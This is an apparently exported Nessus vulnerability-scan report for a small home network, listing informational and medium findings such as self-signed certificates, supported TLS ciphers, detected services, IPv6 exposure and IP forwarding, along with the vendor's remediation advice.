	_version_  _introduced in windows version_
	2.2.2      Windows 8 Beta
	2.2.4      Windows 8 Beta
	3.0        Windows 8     
	3.0.2      Windows 8.1   
	3.1        Windows 10    
	3.1.1      Windows 10    
										None								2/9/18		3/11/20

		57582				6.4		Medium		192.168.0.1		tcp		4567		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=US/O=Circle Media Inc/CN=localhost
										Medium								1/17/12		4/27/20

		110723						None		192.168.0.31		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SMB was detected on port 445 but no credentials were provided.
SMB local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.31		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SMB service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		135860						None		192.168.0.31		tcp		445		WMI Not Available		WMI queries could not be made against the remote host.		WMI (Windows Management Instrumentation) is not available on the
remote host over DCOM. WMI queries are used to gather information
about the remote host, such as its current state, network interface
configuration, etc.

Without this information Nessus may not be able to identify installed
software or security vunerabilities that exist on the remote host.		n/a		https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page		Can't connect to the 'root\CIMV2' WMI namespace.										None								4/21/20		10/7/20

		10107						None		192.168.0.35		tcp		8834		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

NessusWWW										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10147						None		192.168.0.35		tcp		8834		Nessus Server Detection		A Nessus daemon is listening on the remote port.		A Nessus daemon is listening on the remote port.		Ensure that the remote Nessus installation has been authorized.		https://www.tenable.com/products/nessus/nessus-professional		
  URL               : https://192.168.0.35:8834/
  Version           : 18.11.2
  Nessus UI Version : 8.12.1
										None				IAVT:0001-T-0673				10/12/99		9/22/20

		10863						None		192.168.0.35		tcp		8834		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Organization: Nessus Users United
Organization Unit: Nessus Server
Locality: New York
Country: US
State/Province: NY
Common Name: kali

Issuer Name: 

Organization: Nessus Users United
Organization Unit: Nessus Certification Authority
Locality: New York
Country: US
State/Province: NY
Common Name: Nessus Certification Authority

Serial Number: 34 04 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Nov 05 16:00:51 2020 GMT
Not Valid After: Nov 04 16:00:51 2024 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 D1 31 37 84 9C 01 EC F6 D7 8A 1D 8B A5 49 22 29 E8 D7 C8 
            DE CF 24 04 52 9F 22 7C 37 6C 14 5F D6 6D E2 94 65 94 85 76 
            85 BF 0E E0 52 2D F4 91 A9 D7 B1 B4 6F 94 B8 79 B3 D1 51 8E 
            46 59 2D D3 2B 83 16 8E 92 5B E0 54 FC 10 23 E2 39 1E F8 2A 
            97 41 A6 74 FA 87 64 8B 4F 26 A0 CB 2E 2F 24 6E BE 1D 1C 09 
            DA 0C 69 E0 92 E5 E3 8C 15 E3 E5 DE D7 2A 6B 42 3C E2 43 D4 
            0D 41 8A BB 66 65 CF F0 38 24 B3 F1 47 85 0B FA 4A 8D BC 2A 
            24 C5 35 60 23 50 B8 A5 C0 9E 61 17 D6 16 40 9F E0 EE A4 0F 
            E5 1E 34 DF 26 24 74 FF BA 31 B7 8E A9 91 20 A4 6D 34 04 D1 
            C1 2E FD 04 21 A4 E1 BF 97 D5 7E 92 09 83 F9 37 76 85 EC B4 
            4E 9C 0E 13 41 07 63 7F 4C 0F 10 8D 2D 58 C6 94 80 47 EE F5 
            A6 37 51 93 65 0D 58 35 CE D4 FB 51 A6 8B 30 1E D8 89 59 A4 
            BF 2B D4 99 BD 9E CA EA 0B 1D C6 60 7E 21 87 A9 AD 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 16 6B B9 71 AF FD 8B 00 AD 85 B9 47 08 ED 64 E6 FD 4F A9 
           69 7D 26 5B C2 64 62 3D A5 FF 45 02 9C 30 F7 70 0D 03 5B 88 
           73 4B 27 91 22 88 89 4B 82 25 05 6C 0C 86 34 20 03 FD 70 C8 
           4D 0D AF AE E8 D0 D8 6A 08 57 38 9F 04 EF F1 64 BE AB 25 4D 
           63 70 73 09 0E 4D CB 07 13 B3 E4 0D 79 9B 9C F9 AC CB DB FF 
           79 04 FD D5 7A 49 6B 4D 68 CE 98 ED EA DC 99 D7 58 01 12 69 
           D0 5B 9F 4A 9B F0 11 3D 48 CE 61 C0 67 AC F2 60 30 1C 1D 61 
           DF DA B9 5F 6F ED 56 3D 27 BB EF 36 CF 7F F4 D1 E3 D6 85 06 
           1E BF 0B 03 C3 D4 42 B7 B5 29 A8 B3 6A 77 93 DB 2F 43 44 CC 
           40 7C 8A BC 4D 58 DB AC A9 0B 7D 2E 87 0E E8 F2 79 4C 37 EF 
           96 EA F2 AE CE 2E 57 E0 4B 9E 70 BC D7 A6 F5 42 5A 65 44 C2 
           2F 2A EE 12 EA CE 80 1F 43 30 C2 8C 5A 8E 92 DB 3B AC 4C 78 
           B6 AB 6B 94 1D 42 CC D6 FB 5E 12 5B 11 E9 F5 CF B0 

Extension: 2.16.840.1.113730.1.1
Critical: 0
Data: 03 02 06 40 


Extension: Key Usage (2.5.29.15)
Critical: 1
Key Usage: Digital Signature, Non Repudiation, Key Encipherment


Fingerprints : 

SHA-256 Fingerprint: 04 A9 90 A7 B5 D3 57 1B DC 8B 8D 80 4F B7 82 BE 4E C3 FF 0E 
                     BE 44 5D 6F 17 E0 B1 4C 8C 9B D3 81 
SHA-1 Fingerprint: EA 94 F4 27 8F B2 7B CD 08 17 3B 45 E9 B5 4E C2 F9 4D F8 15 
MD5 Fingerprint: 6D 19 5B DB 43 8C 67 A1 F9 85 C7 D6 3D 2C BB 2A 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11936						None		192.168.0.35		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 5.9.0-kali1-amd64
Confidence level : 99
Method : uname

 
The remote host is running Linux Kernel 5.9.0-kali1-amd64										None								12/9/03		3/9/20

		12634						None		192.168.0.35		tcp		0		Authenticated Check : OS Name and Installed Package Enumeration		This plugin gathers information about the remote host via an
authenticated session.		This plugin logs into the remote host using SSH, RSH, RLOGIN, Telnet,
or local commands and extracts the list of installed packages.

If using SSH, the scan should be configured with a valid SSH public
key and possibly an SSH passphrase (if the SSH public key is protected
by a passphrase).		n/a				Nessus can run commands on localhost to check if patches are applied.

The output of "uname -a" is :
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux

Local security checks have NOT been enabled because the remote Linux
distribution is not supported.										None								7/6/04		7/23/20

		14272						None		192.168.0.35		tcp		8834		Netstat Portscanner (SSH)		Remote open ports can be enumerated via SSH.		Nessus was able to run 'netstat' on the remote host to enumerate the
open ports.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the 
event that the target being scanned is localhost.		n/a		https://en.wikipedia.org/wiki/Netstat		Port 8834/tcp was found to be open										None								8/15/04		6/12/20

		14272						None		192.168.0.35		udp		48692		Netstat Portscanner (SSH)		Remote open ports can be enumerated via SSH.		Nessus was able to run 'netstat' on the remote host to enumerate the
open ports.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the 
event that the target being scanned is localhost.		n/a		https://en.wikipedia.org/wiki/Netstat		Port 48692/udp was found to be open										None								8/15/04		6/12/20

		19506						None		192.168.0.35		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:10 EST
Scan duration : 363 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.35		tcp		8834		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv13
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    TLS_AES_128_GCM_SHA256        0x13, 0x01       -             -        AES-GCM(128)           AEAD
    TLS_AES_256_GCM_SHA384        0x13, 0x02       -             -        AES-GCM(256)           AEAD
    TLS_CHACHA20_POLY1305_SHA256  0x13, 0x03       -             -        ChaCha20-Poly1305(256) AEAD


SSL Version : TLSv12
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x30       ECDH          RSA      AES-GCM(256)           SHA384
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.35		tcp		8834		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1.2 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.35		tcp		8834		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.2.										None								8/19/07		8/18/20

		24260						None		192.168.0.35		tcp		8834		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Cache-Control: must-revalidate
  X-Frame-Options: DENY
  Content-Type: text/html
  ETag: 8c91c8672913d5c9bc4aef651affdac4
  Connection: close
  X-XSS-Protection: 1; mode=block
  Server: NessusWWW
  Date: Thu, 05 Nov 2020 18:10:50 GMT
  X-Content-Type-Options: nosniff
  Content-Length: 861
  Content-Security-Policy: upgrade-insecure-requests; block-all-mixed-content; form-action 'self'; frame-ancestors 'none'; frame-src https://store.tenable.com; default-src 'self'; script-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; object-src 'none'
  Strict-Transport-Security: max-age=31536000
  Expect-CT: max-age=0
  
Response Body :

<!doctype html>
<html lang="en">
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
        <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests; block-all-mixed-content; form-action 'self'; frame-src https://store.tenable.com; default-src 'self'; script-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; object-src 'none'" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta charset="utf-8" />
        <title>Nessus</title>
        <link rel="stylesheet" href="nessus6.css?v=1603823618397" />
        <!--[if lt IE 11]>
            <script>
                window.location = '/unsupported6.html';
            </script>
        <![endif]-->
        <script src="nessus6.js?v=1603823618397"></script>
    </head>
    <body>
    </body>
</html>
										None								1/30/07		11/22/19

		25202						None		192.168.0.35		tcp		0		Enumerate IPv6 Interfaces via SSH		Nessus was able to enumerate the IPv6 interfaces on the remote host.		Nessus was able to enumerate the network interfaces configured with
IPv6 addresses by connecting to the remote host via SSH using the
supplied credentials.		Disable IPv6 if you are not actually using it. Otherwise, disable any
unused IPv6 interfaces.				
The following IPv6 interfaces are set on the remote host :

 - fe80::a00:27ff:fe5c:6526 (on interface eth0)
 - 2a02:c7f:8a1e:9000:31cc:99cf:8b94:e5b3 (on interface eth0)
 - fd3a:bfbb:7a9f:0:6bc:bae2:703d:af77 (on interface eth0)
 - fd3a:bfbb:7a9f:0:a00:27ff:fe5c:6526 (on interface eth0)
 - 2a02:c7f:8a1e:9000:a00:27ff:fe5c:6526 (on interface eth0)
 - ::1 (on interface lo)
										None								5/11/07		1/26/17

		25203						None		192.168.0.35		tcp		0		Enumerate IPv4 Interfaces via SSH		Nessus was able to enumerate the IPv4 interfaces on the remote host.		Nessus was able to enumerate the network interfaces configured with
IPv4 addresses by connecting to the remote host via SSH using the
supplied credentials.		Disable any unused IPv4 interfaces.				
The following IPv4 addresses are set on the remote host :

 - 192.168.0.35 (on interface eth0)
 - 127.0.0.1 (on interface lo)
										None								5/11/07		1/26/17

		33276						None		192.168.0.35		tcp		0		Enumerate MAC Addresses via SSH		Nessus was able to enumerate MAC addresses on the remote host.		Nessus was able to enumerate MAC addresses by connecting to the remote
host via SSH with the supplied credentials.		Disable any unused interfaces.				
The following MAC address exists on the remote host :

  - 08:00:27:5c:65:26 (interface eth0)
										None								6/30/08		8/13/18

		35716						None		192.168.0.35		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

08:00:27:5C:65:26 : PCS Systemtechnik GmbH
										None								2/19/09		5/13/20

		42822						None		192.168.0.35		tcp		8834		Strict Transport Security (STS) Detection		The remote web server implements Strict Transport Security.		The remote web server implements Strict Transport Security (STS).
The goal of STS is to make sure that a user does not accidentally
downgrade the security of his or her browser.

All unencrypted HTTP connections are redirected to HTTPS.  The browser
is expected to treat all cookies as 'secure' and to close the
connection in the event of potentially insecure situations.		n/a		http://www.nessus.org/u?2fb3aca6		
The STS header line is :

Strict-Transport-Security: max-age=31536000
										None								11/16/09		11/22/19

		45405						None		192.168.0.35		tcp		0		Reachable IPv6 address		The remote host may be reachable from the Internet.		Although this host was scanned through a private IPv4 or local scope
IPv6 address, some network interfaces are configured with global scope
IPv6 addresses.  Depending on the configuration of the firewalls and
routers, this host may be reachable from Internet.		Disable IPv6 if you do not actually using it. 

Otherwise, disable any unused IPv6 interfaces and implement IP
filtering if needed.				
The following global addresss were gathered :

  - 2a02:c7f:8a1e:9000:a00:27ff:fe5c:6526
  - 2a02:c7f:8a1e:9000:31cc:99cf:8b94:e5b3
										None								4/2/10		8/7/12

		45590						None		192.168.0.35		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:5.9

Following application CPE matched on the remote system :

  cpe:/a:tenable:nessus:18.11.2
										None								4/21/10		9/30/20

		50686		CVE-1999-0511		5.8		Medium		192.168.0.2		tcp		0		IP Forwarding Enabled		The remote host has IP forwarding enabled.		The remote host has IP forwarding enabled. An attacker can exploit
this to route packets through the host and potentially bypass some
firewalls / routers / NAC filtering. 

Unless the remote host is a router, it is recommended that you disable
IP forwarding.		On Linux, you can disable IP forwarding by doing :

echo 0 > /proc/sys/net/ipv4/ip_forward

On Windows, set the key 'IPEnableRouter' to 0 under

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

On Mac OS X, you can disable IP forwarding by executing the command :

sysctl -w net.inet.ip.forwarding=0

For other systems, check with your vendor.														Medium								11/23/10		3/6/19

		54615						None		192.168.0.35		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 99
										None								5/23/11		5/23/11

		55472						None		192.168.0.35		tcp		0		Device Hostname		It was possible to determine the remote system hostname.		This plugin reports a device's hostname collected via SSH or WMI.		n/a				
  Hostname : kali
    kali (hostname command)										None								6/30/11		10/7/20

		56468						None		192.168.0.35		tcp		0		Time of Last System Startup		The system has been started.		Using the supplied credentials, Nessus was able to determine when the
host was last started.		n/a				
  reboot   system boot  5.9.0-kali1-amd6 Thu Nov  5 12:46   still running
  reboot   system boot  5.7.0-kali1-amd6 Thu Oct 29 10:52 - 12:37 (7+02:44)
  reboot   system boot  5.7.0-kali1-amd6 Mon Jul 27 13:59 - 15:49  (01:49)
  reboot   system boot  5.7.0-kali1-amd6 Mon Jul 27 13:33 - 15:49  (02:15)
  
  wtmp begins Mon Jul 27 13:33:47 2020
										None								10/12/11		6/19/18

		56984						None		192.168.0.35		tcp		8834		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.3/TLSv1.2.
										None								12/1/11		7/9/20

		57041						None		192.168.0.35		tcp		8834		SSL Perfect Forward Secrecy Cipher Suites Supported		The remote service supports the use of SSL Perfect Forward Secrecy
ciphers, which maintain confidentiality even if the key is stolen.		The remote host supports the use of SSL ciphers that offer Perfect
Forward Secrecy (PFS) encryption.  These cipher suites ensure that
recorded SSL traffic cannot be broken at a future date if the server's
private key is compromised.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange
https://en.wikipedia.org/wiki/Perfect_forward_secrecy		
Here is the list of SSL PFS ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x30       ECDH          RSA      AES-GCM(256)           SHA384
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								12/7/11		11/15/18

		64582						None		192.168.0.35		tcp		0		Netstat Connection Information		Nessus was able to parse the results of the 'netstat' command on the
remote host.		The remote host has listening ports or established connections that
Nessus was able to extract from the results of the 'netstat' command.

Note: The output for this plugin can be very long, and is not shown by default. To display it, enable verbose reporting in scan settings.		n/a														None								2/13/13		9/9/20

		70544						None		192.168.0.35		tcp		8834		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		86420						None		192.168.0.35		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 08:00:27:5C:65:26
										None								10/16/15		5/13/20

		97993						None		192.168.0.35		tcp		0		OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library)		Information about the remote host can be disclosed via an
authenticated session.		Nessus was able to login to the remote host using SSH or local
commands and extract the list of installed packages.		n/a				
Nessus can run commands on localhost to check if patches are applied.

The output of "uname -a" is :
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux

We are able to run commands on the remote host, but are unable to
currently identify it in this plugin.

Runtime : 1.163142 seconds
										None								5/30/17		6/12/20

		110695						None		192.168.0.35		tcp		0		Authentication Success - Local Checks Not Available		The local security checks are unavailable.		Local security checks are not available for this host because they
may be infeasible or may not be supported by Nessus. The credentials
supplied in the scan policy may have been successful, but local
security checks cannot be performed at this time.		If local security checks are required for this host, contact Tenable
support.				A successful connection to the remote host was established, but local
security checks are not available.

Plugin      : ssh_get_info.nasl
Plugin ID   : 12634
Plugin Name : Authenticated Check : OS Name and Installed Package Enumeration
Report      :
====================
Nessus can run commands on localhost to check if patches are applied.

The output of "uname -a" is :
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux

Local security checks have NOT been enabled because the remote Linux
distribution is not supported.
====================
										None				IAVB:0001-B-0521				6/26/18		9/22/20

		117886						None		192.168.0.35		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : ssh_get_info2.nasl
    Plugin ID   : 97993
    Plugin Name : OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library)
    Protocol    : LOCALHOST
    Message     : Debian version does not match known patterns

  - Plugin      : hostlevel_checks_unavailable.nasl
    Plugin ID   : 110695
    Plugin Name : Authentication Success - Local Checks Not Available
    Message     : Local security checks are unavailable.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		136318						None		192.168.0.35		tcp		8834		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		138330						None		192.168.0.35		tcp		8834		TLS Version 1.3 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.3.		N/A		https://tools.ietf.org/html/rfc8446		TLSv1.3 is enabled and the server supports at least one cipher.										None								7/9/20		7/9/20

		10107						None		192.168.0.8		tcp		5000		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

AirTunes/211.1										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.8		tcp		9006		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Sky										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.8		tcp		9091		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

WebSocket++/0.4.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10287						None		192.168.0.8		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.8 : 
192.168.0.35
192.168.0.8

Hop Count: 1
										None								11/27/99		8/20/20

		10386						None		192.168.0.8		tcp		9080		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				
Unfortunately, Nessus has been unable to find a way to recognize this
page so some CGI-related checks have been disabled.
										None								4/28/00		6/12/20

		11153						None		192.168.0.8		tcp		4545		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				AIX Global ODM (a component from HACMP) is running on this port.										None								11/18/02		11/26/18

		11153						None		192.168.0.8		tcp		9091		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				A web server seems to be running on this port.										None								11/18/02		11/26/18

		11219						None		192.168.0.8		tcp		4545		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4545/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		5000		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 5000/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		8008		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
